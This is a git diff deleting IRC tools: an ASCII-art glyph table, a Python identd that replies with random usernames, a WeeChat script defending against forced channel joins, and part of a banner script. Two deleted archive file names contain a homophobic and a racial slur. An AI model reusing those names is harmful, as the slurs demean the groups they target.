-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c3  $c1 $c2      $c3  ",
-"$c3           ",
-],
-"u" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c1 $c2  $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2      $c3 ",
-"$c3         ",
-],
-"V" => [
-"$c3             ",
-"$c1 $c2 $c3         $c1 $c2 ",
-"$c1 $c2  $c3       $c1 $c2  ",
-"$c3 $c1 $c2  $c3     $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c3   $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c3 $c1 $c2  $c3   ",
-"$c3    $c1 $c2    $c3    ",
-"$c3     $c1 $c2  $c3     ",
-"$c3             ",
-],
-"v" => [
-"$c3            ",
-"$c3            ",
-"$c3            ",
-"$c1 $c2  $c3      $c1 $c2  ",
-"$c3 $c1 $c2  $c3    $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c3  $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c1 $c2  $c3   ",
-"$c3    $c1 $c2   $c3    ",
-"$c3            ",
-],
-"W" => [
-"$c3           ",
-"$c1 $c2  $c3     $c1 $c2  ",
-"$c1 $c2  $c3     $c1 $c2  ",
-"$c1 $c2  $c3     $c1 $c2  ",
-"$c1 $c2  $c3 $c1 $c2  $c3 $c1 $c2  ",
-"$c1 $c2  $c1 $c2    $c1 $c2  ",
-"$c1 $c2    $c3 $c1 $c2    ",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c3           ",
-],
-"w" => [
-"$c3          ",
-"$c3          ",
-"$c3          ",
-"$c1 $c2  $c3    $c1 $c2  $c3",
-"$c1 $c2  $c3 $c1 $c2 $c3 $c1 $c2  $c3",
-"$c1 $c2  $c1 $c2   $c1 $c2  $c3",
-"$c1 $c2    $c1 $c2    $c3",
-"$c3 $c1 $c2  $c3  $c1 $c2  $c3 ",
-"$c3          ",
-],
-"X" => [
-"$c3          ",
-"$c1 $c2  $c3    $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3  $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c1 $c2  $c3  ",
-"$c3   $c1 $c2   $c3   ",
-"$c3  $c1 $c2  $c1 $c2  $c3  ",
-"$c3 $c1 $c2  $c3  $c1 $c2  $c3 ",
-"$c1 $c2  $c3    $c1 $c2  $c3",
-"$c3          ",
-],
-"x" => [
-"$c3        ",
-"$c3        ",
-"$c3        ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3 $c1 $c2  $c1 $c2  $c3 ",
-"$c3   $c2   $c3  ",
-"$c3 $c1 $c2  $c1 $c2  $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3        ",
-],
-"Y" => [
-"$c3           ",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
-"$c3   $c1 $c2    $c3   ",
-"$c3    $c1 $c2  $c3    ",
-"$c3    $c1 $c2  $c3    ",
-"$c3    $c1 $c2  $c3    ",
-"$c3           ",
-],
-"y" => [
-"$c3           ",
-"$c3           ",
-"$c3           ",
-"$c1 $c2  $c3     $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
-"$c3   $c1 $c2    $c3   ",
-"$c3    $c1 $c2  $c3    ",
-"$c3   $c1 $c2  $c3     ",
-],
-"Z" => [
-"$c3         ",
-"$c1 $c2        $c3",
-"$c3     $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c3   ",
-"$c3  $c1 $c2  $c3    ",
-"$c3 $c1 $c2  $c3     ",
-"$c1 $c2        $c3",
-"$c3         ",
-],
-"z" => [
-"$c3          ",
-"$c3          ",
-"$c3          ",
-"$c1 $c2        $c3 ",
-"$c3     $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c3    ",
-"$c3 $c1 $c2  $c3      ",
-"$c1 $c2        $c3 ",
-"$c3          ",
-],
-"\~" => [
-"$c3             ",
-"$c3             ",
-"$c3             ",
-"$c3  $c1 $c2    $c3   $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3 $c1 $c2  $c3 $c1 $c2  $c3 ",
-"$c1 $c2  $c3   $c1 $c2    $c3  ",
-"$c3             ",
-"$c3             ",
-"$c3             ",
-],
-"\`" => [
-"$c3    ",
-"$c1 $c2  $c3 ",
-"$c3 $c1 $c2  ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-],
-"\!" => [
-"$c3         ",
-"$c3      $c1 $c2  $c3",
-"$c3     $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c3   ",
-"$c3  $c1 $c2  $c3    ",
-"$c3         ",
-"$c1 $c2  $c3      ",
-"$c3         ",
-],
-"\@" => [
-"$c3            ",
-"$c3  $c1 $c2       $c3  ",
-"$c3 $c1 $c2  $c3    $c1 $c2  $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3 $c1 $c2  $c3",
-"$c1 $c2  $c3 $c1 $c2  $c3  $c1 $c2  $c3",
-"$c1 $c2  $c3  $c1 $c2     $c3 ",
-"$c3 $c1 $c2  $c3        ",
-"$c3  $c1 $c2       $c3  ",
-"$c3            ",
-],
-"\#" => [
-"$c3           ",
-"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
-"$c1 $c2          ",
-"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
-"$c1 $c2          ",
-"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
-"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
-"$c3           ",
-],
-"\$" => [
-"$c3    $c1 $c2 $c3    ",
-"$c3 $c1 $c2       $c3 ",
-"$c1 $c2  $c3 $c1 $c2 $c3 $c1 $c2  $c3",
-"$c1 $c2  $c3 $c1 $c2 $c3    ",
-"$c3 $c1 $c2       $c3 ",
-"$c3    $c1 $c2 $c3 $c1 $c2  $c3",
-"$c1 $c2  $c3 $c1 $c2 $c3 $c1 $c2  $c3",
-"$c3 $c1 $c2       $c3 ",
-"$c3    $c1 $c2 $c3    ",
-],
-"\%" => [
-"$c3         ",
-"$c1 $c2  $c3   $c1 $c2  ",
-"$c3     $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c3   ",
-"$c3  $c1 $c2  $c3    ",
-"$c3 $c1 $c2  $c3     ",
-"$c1 $c2  $c3   $c1 $c2  ",
-"$c3         ",
-],
-"\^" => [
-"$c3        ",
-"$c3        ",
-"$c3  $c1 $c2   $c3  ",
-"$c3 $c1 $c2  $c1 $c2  $c3 ",
-"$c1 $c2  $c3  $c1 $c2  $c3",
-"$c3        ",
-"$c3        ",
-"$c3        ",
-"$c3        ",
-],
-"\&" => [
-"$c3           ",
-"$c3  $c1 $c2    $c3    ",
-"$c3 $c1 $c2  $c3 $c1 $c2  $c3   ",
-"$c3  $c1 $c2    $c3    ",
-"$c3 $c1 $c2  $c3 $c1 $c2  $c3   ",
-"$c1 $c2  $c3   $c1 $c2  $c3  ",
-"$c1 $c2  $c3    $c1 $c2  $c3 ",
-"$c3 $c1 $c2      $c1 $c2  $c3",
-"$c3           ",
-],
-"\*" => [
-"$c3     ",
-"$c3     ",
-"$c1 $c2 $c3 $c1 $c2 ",
-"$c3 $c1 $c2  $c3 ",
-"$c1 $c2 $c3 $c1 $c2 ",
-"$c3     ",
-"$c3     ",
-"$c3     ",
-"$c3     ",
-],
-"\(" => [
-"$c3     ",
-"$c3  $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3 ",
-"$c1 $c2  $c3  ",
-"$c1 $c2  $c3  ",
-"$c1 $c2  $c3  ",
-"$c3 $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c3",
-"$c3     ",
-],
-"\)" => [
-"$c3     ",
-"$c1 $c2  $c3  ",
-"$c3 $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c3",
-"$c3  $c1 $c2  $c3",
-"$c3  $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3 ",
-"$c1 $c2  $c3  ",
-"$c3     ",
-],
-"_" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c1 $c2        $c3",
-"$c3         ",
-],
-"\-" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c1 $c2        $c3",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-],
-"\+" => [
-"$c3         ",
-"$c3         ",
-"$c3   $c1 $c2  $c3   ",
-"$c3   $c1 $c2  $c3   ",
-"$c1 $c2        $c3",
-"$c3   $c1 $c2  $c3   ",
-"$c3   $c1 $c2  $c3   ",
-"$c3         ",
-"$c3         ",
-],
-"\=" => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c1 $c2        $c3",
-"$c3         ",
-"$c1 $c2        $c3",
-"$c3         ",
-"$c3         ",
-"$c3         ",
-],
-"\|" => [
-"$c3   ",
-"$c1 $c2  $c3",
-"$c1 $c2  $c3",
-"$c1 $c2  $c3",
-"$c1 $c2  $c3",
-"$c1 $c2  $c3",
-"$c1 $c2  $c3",
-"$c1 $c2  $c3",
-"$c3   ",
-],
-"\\" => [
-"$c3         ",
-"$c1 $c2  $c3      ",
-"$c3 $c1 $c2  $c3     ",
-"$c3  $c1 $c2  $c3    ",
-"$c3   $c1 $c2  $c3   ",
-"$c3    $c1 $c2  $c3  ",
-"$c3     $c1 $c2  $c3 ",
-"$c3      $c1 $c2  $c3",
-"$c3         ",
-],
-"\[" => [
-"$c3     ",
-"$c1 $c2    $c3",
-"$c1 $c2  $c3  ",
-"$c1 $c2  $c3  ",
-"$c1 $c2  $c3  ",
-"$c1 $c2  $c3  ",
-"$c1 $c2  $c3  ",
-"$c1 $c2    $c3",
-"$c3     ",
-],
-"\]" => [
-"$c3     ",
-"$c1 $c2    $c3",
-"$c3  $c1 $c2  $c3",
-"$c3  $c1 $c2  $c3",
-"$c3  $c1 $c2  $c3",
-"$c3  $c1 $c2  $c3",
-"$c3  $c1 $c2  $c3",
-"$c1 $c2    $c3",
-"$c3     ",
-],
-"\{" => [
-"$c3     ",
-"$c3 $c1 $c2   $c3",
-"$c1 $c2  $c3  ",
-"$c3 $c1 $c2  $c3 ",
-"$c1 $c2  $c3  ",
-"$c3 $c1 $c2  $c3 ",
-"$c1 $c2  $c3  ",
-"$c3 $c1 $c2   $c3",
-"$c3     ",
-],
-"\}" => [
-"$c3     ",
-"$c1 $c2   $c3 ",
-"$c3  $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c3",
-"$c3 $c1 $c2  $c3 ",
-"$c3  $c1 $c2  $c3",
-"$c1 $c2   $c3 ",
-"$c3     ",
-],
-"\:" => [
-"$c3     ",
-"$c3     ",
-"$c3     ",
-"$c3 $c1 $c2  $c3 ",
-"$c3     ",
-"$c3     ",
-"$c3 $c1 $c2  $c3 ",
-"$c3     ",
-"$c3     ",
-],
-"\;" => [
-"$c3     ",
-"$c3     ",
-"$c3     ",
-"$c3 $c1 $c2  $c3 ",
-"$c3     ",
-"$c3     ",
-"$c3 $c1 $c2  $c3 ",
-"$c3  $c1 $c2 $c3 ",
-"$c3     ",
-],
-"\'" => [
-"$c3    ",
-"$c3 $c1 $c2  ",
-"$c1 $c2  $c3 ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-"$c3    ",
-],
-"\"" => [
-"$c3       ",
-"$c1 $c2  $c3 $c1 $c2  $c3",
-"$c1 $c2  $c3 $c1 $c2  $c3",
-"$c3       ",
-"$c3       ",
-"$c3       ",
-"$c3       ",
-"$c3       ",
-"$c3       ",
-],
-"\<" => [
-"$c3       ",
-"$c3       ",
-"$c3    $c1 $c2  $c3",
-"$c3  $c1 $c2  $c3  ",
-"$c1 $c2  $c3    ",
-"$c3  $c1 $c2  $c3  ",
-"$c3    $c1 $c2  $c3",
-"$c3       ",
-"$c3       ",
-],
-"\>" => [
-"$c3       ",
-"$c3       ",
-"$c1 $c2  $c3    ",
-"$c3  $c1 $c2  $c3  ",
-"$c3    $c1 $c2  $c3",
-"$c3  $c1 $c2  $c3  ",
-"$c1 $c2  $c3    ",
-"$c3       ",
-"$c3       ",
-],
-"\?" => [
-"$c3         ",
-"$c3  $c1 $c2     $c3 ",
-"$c3 $c1 $c2  $c3  $c1 $c2  ",
-"$c3     $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c3   ",
-"$c3         ",
-"$c3 $c1 $c2  $c3     ",
-"$c3         ",
-],
-"\," => [
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c1 $c2  $c3",
-"$c3 $c1 $c2 $c3",
-],
-"\." => [
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c3   ",
-"$c1 $c2  ",
-"$c3   ",
-],
-"\/" => [
-"$c3         ",
-"$c3      $c1 $c2  $c3",
-"$c3     $c1 $c2  $c3 ",
-"$c3    $c1 $c2  $c3  ",
-"$c3   $c1 $c2  $c3   ",
-"$c3  $c1 $c2  $c3    ",
-"$c3 $c1 $c2  $c3     ",
-"$c1 $c2  $c3      ",
-"$c3         ",
-],
-);
-}
diff --git a/irc/identd.py b/irc/identd.py
@@ -1,81 +0,0 @@
-#!/usr/bin/env python
-# ident protocol daemon - developed by acidvegas in Python (https://acid.vegas/random)
-
-import os
-import random
-import re
-import socket
-import string
-import threading
-import pwd
-
-def check_privledges():
-	if os.getuid() == 0 or os.geteuid() == 0:
-		return True
-	else:
-		return False
-
-def is_valid_port(port):
-	if port > 0 and port <= 65535:
-		return True
-	else:
-		return False
-
-def random_str(size):
-	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
-
-class Identd(threading.Thread):
-	def __init__(self, protocol, address, port):
-		self.protocol = protocol
-		self.address  = address
-		self.port     = port
-		self.sock     = None
-		threading.Thread.__init__(self)
-
-	def run(self):
-		try:
-			self._create_sockets()
-			self._drop_privledges()
-			self._listen()
-		except Exception as ex:
-			print('error: ' + str(ex))
-
-	def _create_sockets(self):
-		self.sock = socket.socket(self.protocol)
-		self.sock.bind((self.address, self.port))
-		self.sock.listen(5)
-		self.sock.setblocking(0)
-
-	def _drop_privledges(self):
-		os.setgroups([])
-		os.setgid(pwd.getpwnam('nobody').pw_gid)
-		os.setuid(pwd.getpwnam('nobody').pw_uid)
-
-	def _listen(self):
-		while True:
-			client, addr = self.sock.accept()
-			data = client.recv(1024).decode('ascii').rstrip()
-			source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
-			print(f'[REQUEST] {source_ip}: {data}')
-			response = self._parse_data(data)
-			client.send(f'{response}\r\n'.encode('ascii'))
-			print(f'[ REPLY ] {source_ip}: {response}')
-			client.close()
-
-	def _parse_data(self, data):
-		if not re.match(r'(\d+).*,.*(\d+)', data):
-			return data + ' : ERROR : INVALID-PORT'
-		lport, rport = data.split(',')
-		lport = int(re.sub(r'\D', '', lport))
-		rport = int(re.sub(r'\D', '', rport))
-		if not is_valid_port(lport) or not is_valid_port(rport):
-			return data + ' : ERROR : INVALID-PORT'
-		return data + ' : USERID : UNIX : ' + random_str(5)
-
-# Main
-if not check_privledges():
-	raise SystemExit('requires sudo privledges to bind to port 113')
-Identd(socket.AF_INET,  '0.0.0.0', 113).start()
-Identd(socket.AF_INET6, '::',      113).start()
-while True:
-	input('')
-\ No newline at end of file
diff --git a/irc/ircd/gaymircd.tar.gz b/irc/ircd/gaymircd.tar.gz
Binary files differ.
diff --git a/irc/ircd/nigircd.tar.gz b/irc/ircd/nigircd.tar.gz
Binary files differ.
diff --git a/irc/tater/a2m b/irc/tater/a2m
@@ -1 +0,0 @@
-Subproject commit c83c7daac07b20a2e558b15db79114057002c44a
diff --git a/irc/tater/bwu b/irc/tater/bwu
@@ -1 +0,0 @@
-Subproject commit 49afd982c4ed827a374b836a2513e4970d119c76
diff --git a/irc/tater/p2u b/irc/tater/p2u
@@ -1 +0,0 @@
-Subproject commit 0f7aab0efb8410360d129ac92ad82e7be73d438d
diff --git a/irc/tater/tdfiglet b/irc/tater/tdfiglet
@@ -1 +0,0 @@
-Subproject commit 0225b8881d06773b92d9db2c7881f03ff0bdece7
diff --git a/irc/weechat/antifuck.pl b/irc/weechat/antifuck.pl
@@ -1,369 +0,0 @@
-# Released into the Public Domain
-
-use strict;
-use warnings;
-
-no strict 'subs';
-
-my $SCRIPT_NAME = 'antifuck';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.1';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Defend against forcejoins (e.g. from fuckyou.pl) and '.
-	'forceparts (e.g. from /remove)';
-
-my %OPTIONS = (
-	autopart => ['Whether to automatically part forcejoined channels. '.
-		'You can always do this manually with /antifuck part', '0'],
-	delay => ['Delay in milliseconds to wait before autoparting', '5000'],
-	forward => ['Whether to allow channel forwards (+f on freenode)', '1'],
-	ignore => ['Servers to ignore (e.g. for bouncers), separated by comma', ''],
-	nobufs => ['If 1, do not create buffers for forcejoined channels', '0'],
-	timeout =>
-		['Delay in milliseconds to wait for server to send JOIN after join',
-		'60000'],
-	);
-
-# %channels: channels we joined and received JOIN / NAMES for
-# %zombie: channels we joined but aren't yet in
-# %part: channels we were forced into and will part soon
-# %partbuf: buffers belonging to parted channels, we'll close these on
-#           /antifuck part
-our (%channels, %zombie, %part, %partbuf, $fuckbuf, $timeout_cb, $gc_cb);
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
-	weechat::hook_command('antifuck', $SCRIPT_DESC, 'part', <<'HELP',
-This script defends against forced joins, such as from irssi's fuckyou.pl or
-from channel forwards, as well as forced parts, such as from the /remove
-command. You can configure certain behaviour using the options under
-"plugins.var.perl.antifuck.*". Configure rejoin-on-/remove with the
-irc.server_default.autorejoin and .autorejoin_delay commands.
-
-Running "/antifuck part" will close all forcejoined channels and part them where
-appropriate.
-HELP
-		'part', 'cmd_antifuck', '');
-	weechat::hook_signal('irc_server_connected', 'irc_connect', '');
-	weechat::hook_signal('irc_server_disconnected', 'irc_disconnect', '');
-	weechat::hook_signal('irc_channel_opened', 'buffer_opened', '');
-	weechat::hook_signal('buffer_closed', 'buffer_closed', '');
-	weechat::hook_signal('*,irc_out1_join', 'client_join', '');
-	weechat::hook_signal('*,irc_out1_part', 'client_part', '');
-	weechat::hook_signal('*,irc_raw_in_001', 'irc_001', '');
-	weechat::hook_signal('*,irc_raw_in_470', 'irc_470', '');
-	weechat::hook_modifier('irc_in_366', 'irc_366', '');
-	weechat::hook_modifier('irc_in_join', 'irc_join', '');
-	weechat::hook_modifier('irc_in_part', 'irc_part', '');
-
-	for my $option (keys %OPTIONS) {
-		weechat::config_set_plugin($option, $OPTIONS{$option}[1])
-		 unless weechat::config_is_set_plugin($option);
-		weechat::config_set_desc_plugin($option, $OPTIONS{$option}[0]);
-	}
-
-	my $iptr = weechat::infolist_get('buffer', '', '');
-
-	while (weechat::infolist_next($iptr)) {
-		next unless weechat::infolist_string($iptr, 'plugin_name') eq 'irc';
-		my $buf = weechat::infolist_pointer($iptr, 'pointer');
-		$channels{
-			lc weechat::buffer_get_string($buf, 'localvar_server')}{
-			lc weechat::buffer_get_string($buf, 'localvar_channel')} = 1;
-	}
-	weechat::infolist_free($iptr);
-}
-
-sub mynick
-{
-	my ($buf, $nick) = ($_[0], $_[1]);
-
-	return lc weechat::buffer_get_string($buf, 'localvar_nick') eq lc $nick;
-}
-
-sub ignored
-{
-	my $server = shift;
-	my $ignore_conf = lc weechat::config_get_plugin('ignore');
-
-	return $ignore_conf =~ /(^|,)$server($|,)/;
-}
-
-sub nobufs { weechat::config_get_plugin('nobufs') }
-
-sub ircbuf { weechat::buffer_search('irc', "(?i)".(join '.', @_)) }
-sub ircparse { weechat::info_get_hashtable(irc_message_parse =>
-	{ message => shift }) }
-
-sub servchan
-{
-	my $buf = shift;
-
-	return (lc weechat::buffer_get_string($buf, 'localvar_server'),
-		lc weechat::buffer_get_string($buf, 'localvar_channel'));
-}
-
-sub reset_gc
-{
-	weechat::unhook($gc_cb) if $gc_cb;
-	$gc_cb = weechat::hook_timer(weechat::config_get_plugin('timeout'), 0, 1,
-		'run_gc', '');
-}
-
-sub cmd_antifuck
-{
-	my (undef, $buffer, $args) = @_;
-
-	if ($args eq 'part') {
-		# TODO: we really need to spend more time here making sure we send the
-		# fewest PARTs possible, a la irc_join_delay
-		weechat::buffer_close($fuckbuf);
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub fuckbuf_input { return weechat::WEECHAT_RC_OK; }
-
-sub fuckbuf_close
-{
-	weechat::buffer_close($_) for (keys %partbuf);
-	%partbuf = ();
-	$fuckbuf = '';
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_connect
-{
-	my $server = pop;
-	my ($autojoin) = (weechat::config_string(weechat::config_get(
-		"irc.server.$server.autojoin")) =~ /^([^ ]*)/);
-
-	$zombie{$server}{$_} = 1 for (split ',', lc($autojoin));
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_disconnect
-{
-	my $server = pop;
-
-	$server = lc $server;
-	delete $channels{$server};
-	delete $zombie{$server};
-	delete $part{$server};
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub buffer_opened {
-	my $buffer = pop;
-	my ($server, $channel) = servchan($buffer);
-	return weechat::WEECHAT_RC_OK if exists $channels{$server}{$channel};
-	return weechat::WEECHAT_RC_OK if ignored($server);
-
-	$fuckbuf = weechat::buffer_new(
-		'antifuck',
-		'fuckbuf_input',
-		'',
-		'fuckbuf_close',
-		''
-		) unless $fuckbuf;
-
-	weechat::buffer_merge($buffer, $fuckbuf);
-	#return weechat::WEECHAT_RC_OK unless weechat::config_get_plugin('autopart');
-
-	$partbuf{$buffer} = 1;
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub buffer_closed {
-	my $buffer = pop;
-
-	delete $partbuf{$buffer};
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub client_join
-{
-	my (undef, $server, $channel) = (shift,
-		shift =~ /(.+),irc_out1_join/i,
-		shift =~ /^join :?([^ ]*)/i);
-	($server, $channel) = (lc $server, lc $channel);
-
-	reset_gc();
-
-	($_ eq '0' ? %{$channels{$server}} = () : $zombie{$server}{$_} = 1)
-		for (split ',', $channel);
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub client_part
-{
-	my (undef, $server, $channel) = (shift,
-		shift =~ /(.+),irc_out1_part/i,
-		shift =~ /^part ([^ ]*)/i);
-	($server, $channel) = (lc $server, lc $channel);
-
-	delete $channels{$server}{$_} for (split ',', $channel);
-	return weechat::WEECHAT_RC_OK;
-}
-
-# RPL_WELCOME
-sub irc_001
-{
-	my (undef, $server, $message) = (shift,
-		shift =~ /(.+),irc_raw_in_001/, shift);
-
-	$server = lc $server;
-	return weechat::WEECHAT_RC_OK unless $message =~ / :- Welcome to ZNC -$/;
-
-	my $ignore_conf = lc weechat::config_get_plugin('ignore');
-	return weechat::WEECHAT_RC_OK if $ignore_conf =~ /(^|,)$server($|,)/;
-
-	weechat::config_set_plugin('ignore', "$ignore_conf,$server");
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_join
-{
-	my ($server, $message, $msghash) = (lc $_[2], $_[3], ircparse($_[3]));
-	my ($nick, $channel) = ($msghash->{nick}, lc $msghash->{channel});
-	my $buffer = ircbuf("$server.$channel");
-
-	return $message if exists $channels{$server}{$channel};
-	if (exists $zombie{$server}{$channel} || ignored($server)) {
-		delete $zombie{$server}{$channel};
-		$channels{$server}{$channel} = 1;
-		return $message;
-	}
-	# XXX return $message unless mynick($buffer, $nick);
-
-	$part{$server}{$channel} = 1;
-	$timeout_cb = weechat::hook_timer(
-		weechat::config_get_plugin('delay'), 0, 1, 'irc_join_delay', $buffer)
-		unless $timeout_cb || !weechat::config_get_plugin('autopart');
-
-	return $message unless nobufs();
-
-	$fuckbuf = weechat::buffer_new(
-		'antifuck',
-		'fuckbuf_input',
-		'',
-		'fuckbuf_close',
-		''
-		) unless $fuckbuf;
-	weechat::print($fuckbuf, weechat::prefix('join').
-		weechat::color('irc.color.message_join').
-		'You were forced to join '.weechat::color('chat_channel').$channel.
-		weechat::color('irc.color.message_join').', leaving');
-
-	return '';
-}
-
-# RPL_ENDOFNAMES
-sub irc_366
-{
-	my ($server, $message) = ($_[2], $_[3]);
-	my ($nick, $channel) = $message =~ /^:[^ ]* 366 ([^ ]*) ([^ ]*)/i;
-	my $buffer = ircbuf("$server.$channel");
-	($server, $channel) = (lc $server, lc $channel);
-
-	return $message if exists $channels{$server}{$channel};
-	return '' if nobufs();
-
-	weechat::print($buffer, weechat::prefix('network').
-		'Forcejoined, not syncing modes');
-
-	return '';
-}
-
-# ERR_LINKCHANNEL
-sub irc_470
-{
-	my (undef, $server, $oldchan, $newchan) = (shift,
-		shift =~ /(.+),irc_raw_in_470/,
-		shift =~ /^:[^ ]* 470 [^ ]+ ([^ ]+) ([^ ]+)/);
-	($server, $oldchan, $newchan) = (lc $server, lc $oldchan, lc $newchan);
-
-	delete $channels{$server}{$oldchan};
-	$channels{$server}{$newchan} = 1 if weechat::config_get_plugin('forward');
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_join_delay
-{
-	my $buffer = shift;
-
-	for my $server (keys %part) {
-		my $chans = '';
-
-		for my $chan (keys %{$part{$server}}) {
-			if (length($chans) + length($chan) > 500) {
-				weechat::hook_signal_send('irc_input_send',
-					weechat::WEECHAT_HOOK_SIGNAL_STRING,
-					"$server;;priority_low;;/part $chans");
-				$chans = '';
-			}
-
-			$chans .= "$chan,";
-		}
-
-		weechat::hook_signal_send('irc_input_send',
-			weechat::WEECHAT_HOOK_SIGNAL_STRING,
-			"$server;;priority_low;;/part $chans");
-	}
-	$timeout_cb = '';
-	%part = ();
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub run_gc
-{
-	%zombie = ();
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_part
-{
-	my ($server, $message, $msghash) = ($_[2], $_[3], ircparse($_[3]));
-	my ($arj, $arj_delay, $arjd, $arjd_delay) = (
-		weechat::config_get("irc.server.$server.autorejoin"),
-		weechat::config_get("irc.server.$server.autorejoin_delay"),
-		weechat::config_get("irc.server_default.autorejoin"),
-		weechat::config_get("irc.server_default.autorejoin_delay")
-		);
-	return $message unless (
-		weechat::config_option_is_null($arj) ?
-		weechat::config_boolean($arjd) :
-		weechat::config_boolean($arj)
-		);
-
-	my ($nick, $channel, $reason) = ($msghash->{nick}, $msghash->{channel},
-		$msghash->{text});
-
-	my $buffer = ircbuf("$server.$channel");
-	my ($lserver, $lchannel) = (lc $server, lc $channel);
-
-	return $message unless mynick($buffer, $nick);
-	return $message unless exists $channels{$lserver}{$lchannel};
-	return $message if ignored($lserver);
-
-	weechat::print($buffer, weechat::prefix('quit').
-		weechat::color('irc.color.message_quit').
-		'You were forced to part '.weechat::color('chat_channel').$channel.
-		weechat::color('chat_delimiters').' ('.weechat::color('reset').
-		$reason.weechat::color('chat_delimiters').')'.
-		weechat::color('irc.color.message_quit').', rejoining');
-	my $delay = (
-		weechat::config_option_is_null($arj_delay) ?
-		weechat::config_integer($arjd_delay) :
-		weechat::config_integer($arj_delay)
-		);
-	weechat::command($buffer, ($delay ? "/wait $delay " : "").
-		"/join $channel");
-
-	return '';
-}
diff --git a/irc/weechat/banner.pl b/irc/weechat/banner.pl
@@ -1,332 +0,0 @@
-use strict;
-use warnings;
-no strict 'subs';
-
-my $SCRIPT_NAME = 'banner';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.0';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Banner text';
-our (%queue, %timer);
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
-	weechat::hook_command('banner', 'Banner text',
-		"[-nick|-key|-limit] text",
-		"-nick: send to /nick command\n".
-		"-key: send as /mode +k (doesn't work on all ircds)\n".
-		"-limit: send as /mode +l\n",
-		'', 'cmd_banner', '');
-}
-
-sub cmd_banner
-{
-	my ($buffer, $cmd) = ($_[1], $_[2]);
-	my ($flag, $text) = $cmd =~ /^(-nick|-key|-limit|) *(.*)$/;
-	my @output;
-	my $prefix = '/msg *';
-	my $nick = weechat::info_get('irc_nick',
-		weechat::buffer_get_string($buffer, 'localvar_server'));
-
-my @chars = ('````````^',
-'XX``XXXXX',
-'``````XXX
-`````````
-``````XXX',
-'``X```X``
-XXXXXXXXX
-``X```X``
-XXXXXXXXX
-``X```X``',
-'`````XX``
-`X``X``X`
-XX``X``XX
-`X``X``X`
-``XX`````',
-'```X```XX
